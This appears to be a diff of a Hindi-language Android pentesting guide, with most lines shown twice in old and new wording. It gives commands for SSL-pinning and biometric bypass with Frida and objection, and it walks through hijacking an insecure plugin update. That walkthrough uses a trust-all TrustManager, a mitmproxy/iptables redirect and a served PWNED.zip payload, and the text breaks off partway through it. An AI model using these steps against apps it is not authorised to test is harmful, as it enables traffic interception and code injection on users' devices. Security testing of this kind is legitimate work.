SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
|
||||
|
||||
#### ट्रैफ़िक निरीक्षण
|
||||
|
||||
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
|
||||
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल का प्रमाणपत्र स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
|
||||
|
||||
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) का संदर्भ लें।
|
||||
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें।
|
||||
|
||||
यदि **Flutter** का उपयोग किया जा रहा है, तो आपको [**इस पृष्ठ**](flutter.md) में दिए गए निर्देशों का पालन करना होगा। इसका कारण यह है कि, केवल स्टोर में प्रमाणपत्र जोड़ने से काम नहीं चलेगा क्योंकि Flutter की अपनी मान्य CAs की सूची है।
|
||||
|
||||
@ -423,9 +423,9 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
|
||||
|
||||
- स्वचालित रूप से **apk को संशोधित करें** ताकि **SSL पिनिंग को बायपास** किया जा सके [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
|
||||
- आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- आप **objection** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया)
|
||||
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया)
|
||||
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### सामान्य वेब कमजोरियों की खोज
|
||||
|
||||
@ -434,14 +434,14 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\
|
||||
**आप चल रहे एप्लिकेशन तक पहुंच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
|
||||
**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
|
||||
यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा।
|
||||
|
||||
- Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/index.html)
|
||||
- Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs))
|
||||
- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करते समय [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित तरीके से प्रयास करें (उपकरण [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **मेमोरी डंप - Fridump**
|
||||
|
||||
@ -472,19 +472,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **फिंगरप्रिंट/बायोमेट्रिक्स बायपास**
|
||||
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके **फिंगरप्रिंट प्रमाणीकरण** को **बायपास** करना संभव हो सकता है जो Android अनुप्रयोग कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए कर सकते हैं:
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके **फिंगरप्रिंट प्रमाणीकरण** को **बायपास** करना संभव हो सकता है जो Android अनुप्रयोग कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए कर रहे हैं:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **पृष्ठभूमि छवियाँ**
|
||||
|
||||
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है।
|
||||
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है।
|
||||
|
||||
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुँच रखने वाला कोई भी व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
|
||||
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** है, तो स्नैपशॉट तक पहुँच रखने वाला कोई भी व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
|
||||
|
||||
स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या गैर-सुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -531,28 +531,28 @@ docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\
|
||||
इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर में जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा।
|
||||
इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा।
|
||||
|
||||
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
|
||||
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
|
||||
|
||||
### MobSF के साथ सहायक गतिशील विश्लेषण
|
||||
|
||||
**MobSF** **Android** में **गतिशील विश्लेषण** के लिए भी बहुत सहायक हो सकता है, लेकिन इस मामले में आपको अपने होस्ट में MobSF और **genymotion** स्थापित करने की आवश्यकता होगी (एक VM या Docker काम नहीं करेगा)। _नोट: आपको **पहले genymotion में एक VM शुरू करना होगा** और **फिर MobSF।**_\
|
||||
**MobSF** **Android** में **गतिशील विश्लेषण** के लिए भी बहुत सहायक हो सकता है, लेकिन इस मामले में आपको अपने होस्ट पर MobSF और **genymotion** स्थापित करने की आवश्यकता होगी (एक VM या Docker काम नहीं करेगा)। _नोट: आपको **पहले genymotion में एक VM शुरू करना होगा** और **फिर MobSF।**_\
|
||||
**MobSF गतिशील विश्लेषक** कर सकता है:
|
||||
|
||||
- **अनुप्रयोग डेटा डंप करें** (URLs, लॉग, क्लिपबोर्ड, आपके द्वारा बनाए गए स्क्रीनशॉट, "**Exported Activity Tester**" द्वारा बनाए गए स्क्रीनशॉट, ईमेल, SQLite डेटाबेस, XML फ़ाइलें, और अन्य बनाई गई फ़ाइलें)। इनमें से सभी स्वचालित रूप से किया जाता है सिवाय स्क्रीनशॉट के, आपको तब दबाना होगा जब आप एक स्क्रीनशॉट चाहते हैं या आपको सभी निर्यातित गतिविधियों के स्क्रीनशॉट प्राप्त करने के लिए "**Exported Activity Tester**" पर दबाना होगा।
|
||||
- **HTTPS ट्रैफ़िक कैप्चर करें**
|
||||
- **Frida** का उपयोग करके **runtime** **जानकारी** प्राप्त करें
|
||||
|
||||
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
|
||||
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक** कैप्चर करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
|
||||
|
||||
**Frida**
|
||||
|
||||
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **रूट डिटेक्शन** और **डीबगर डिटेक्शन** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\
|
||||
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\
|
||||
MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है।
|
||||
|
||||
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
|
||||
MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -594,18 +594,18 @@ receivers
|
||||
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
आप इस टूल को [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से प्राप्त कर सकते हैं।\
|
||||
आप [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से टूल प्राप्त कर सकते हैं।\
|
||||
यह टूल कुछ **Hooks** का उपयोग करेगा ताकि आपको पता चल सके **क्या हो रहा है एप्लिकेशन में** जब आप **dynamic analysis** करते हैं।
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
यह एक **GUI के साथ स्थिर विश्लेषण करने के लिए एक शानदार टूल है**
|
||||
यह एक **शानदार टूल है जो GUI के साथ स्थैतिक विश्लेषण करने के लिए है**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
|
||||
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल एक "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम है**, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -627,7 +627,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
|
||||
|
||||
सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है।
|
||||
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकते हैं।
|
||||
|
||||
नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
|
||||
```
|
||||
@ -657,7 +657,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** एक उपकरण है जिसका मुख्य उद्देश्य Android एप्लिकेशन द्वारा विकसित संभावित दुर्भावनापूर्ण व्यवहारों का पता लगाना और उपयोगकर्ता को चेतावनी देना है।
|
||||
|
||||
पता लगाना **स्टेटिक एनालिसिस** के साथ किया जाता है जो एप्लिकेशन के Dalvik बाइटकोड का विश्लेषण करता है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
|
||||
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
|
||||
|
||||
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का एक्सफिल्ट्रेशन, ऑडियो/वीडियो प्रवाह का इंटरसेप्शन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन...
|
||||
```
|
||||
@ -667,12 +667,12 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
|
||||
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
|
||||
|
||||
यह सक्षम है:
|
||||
|
||||
- विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना
|
||||
- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APKs का विश्लेषण करना
|
||||
- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APK का विश्लेषण करना
|
||||
- regexps का उपयोग करके APK से निजी जानकारी निकालना।
|
||||
- मैनिफेस्ट का विश्लेषण करना।
|
||||
- [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना
|
||||
@ -682,7 +682,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## कोड को ओबफस्केट/डिओबफस्केट करना
|
||||
## कोड को ओबफस्केटिंग/डिओबफस्केटिंग करना
|
||||
|
||||
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं भी।
|
||||
|
||||
@ -694,7 +694,7 @@ ProGuard Android SDK का एक हिस्सा है और एप्ल
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK को डिओबफस्केट करने के लिए चरण-दर-चरण गाइड [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) में खोजें
|
||||
APK को डिओबफस्केट करने के लिए चरण-दर-चरण गाइड [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) पर खोजें
|
||||
|
||||
(उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था:
|
||||
|
||||
@ -716,7 +716,7 @@ APK को डिओबफस्केट करने के लिए चर
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
|
||||
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि किस विशेष प्रकार की ओबफस्केशन का उपयोग किया गया है।
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -730,7 +730,7 @@ APKiD आपको **यह जानकारी देता है कि ए
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है, जिसमें रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से नवीनतम फ्रेमवर्क, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है।
|
||||
AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है, जिसमें विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए नवीनतम फ्रेमवर्क, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -22,7 +22,7 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. यदि मौजूद है, तो एप्लिकेशन **किसी भी TLS प्रमाणपत्र** को स्वीकार करेगा → आप एक स्व-हस्ताक्षरित प्रमाणपत्र के साथ एक पारदर्शी **MITM प्रॉक्सी** चला सकते हैं:
|
||||
3. यदि मौजूद है, तो एप्लिकेशन **किसी भी TLS प्रमाणपत्र** को स्वीकार करेगा → आप एक पारदर्शी **MITM प्रॉक्सी** को एक स्वयं-हस्ताक्षरित प्रमाणपत्र के साथ चला सकते हैं:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
@ -33,10 +33,10 @@ AnyScan मामले में प्रत्येक ऐप लॉन्
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
उत्तर शरीर एक **XML दस्तावेज़** है जिसके `<FileData>` नोड्स में **Base64-कोडित, DES-ECB एन्क्रिप्टेड** JSON है जो हर उपलब्ध प्लगइन का विवरण देता है।
|
||||
उत्तर शरीर एक **XML दस्तावेज़** है जिसके `<FileData>` नोड्स में **Base64-कोडित, DES-ECB एन्क्रिप्टेड** JSON है जो हर उपलब्ध प्लगइन का वर्णन करता है।
|
||||
|
||||
विशिष्ट शिकार कदम:
|
||||
1. क्रिप्टो रूटीन का पता लगाएं (जैसे `RemoteServiceProxy`) और पुनर्प्राप्त करें:
|
||||
1. क्रिप्टो रूटीन (जैसे `RemoteServiceProxy`) का पता लगाएं और पुनर्प्राप्त करें:
|
||||
* एल्गोरिदम (DES / AES / RC4 …)
|
||||
* संचालन का मोड (ECB / CBC / GCM …)
|
||||
* हार्ड-कोडेड कुंजी / IV (अक्सर 56-बिट DES कुंजी या 128-बिट AES कुंजी स्थिरांक में)
|
||||
@ -97,26 +97,26 @@ python3 -m http.server 8000 --directory ./payloads
|
||||
* हमारे forged XML को MITM चैनल के माध्यम से fetch करेगा;
|
||||
* इसे hard-coded DES कुंजी के साथ decrypt और parse करेगा;
|
||||
* `PWNED.zip` डाउनलोड करेगा → निजी स्टोरेज के अंदर unzip करेगा;
|
||||
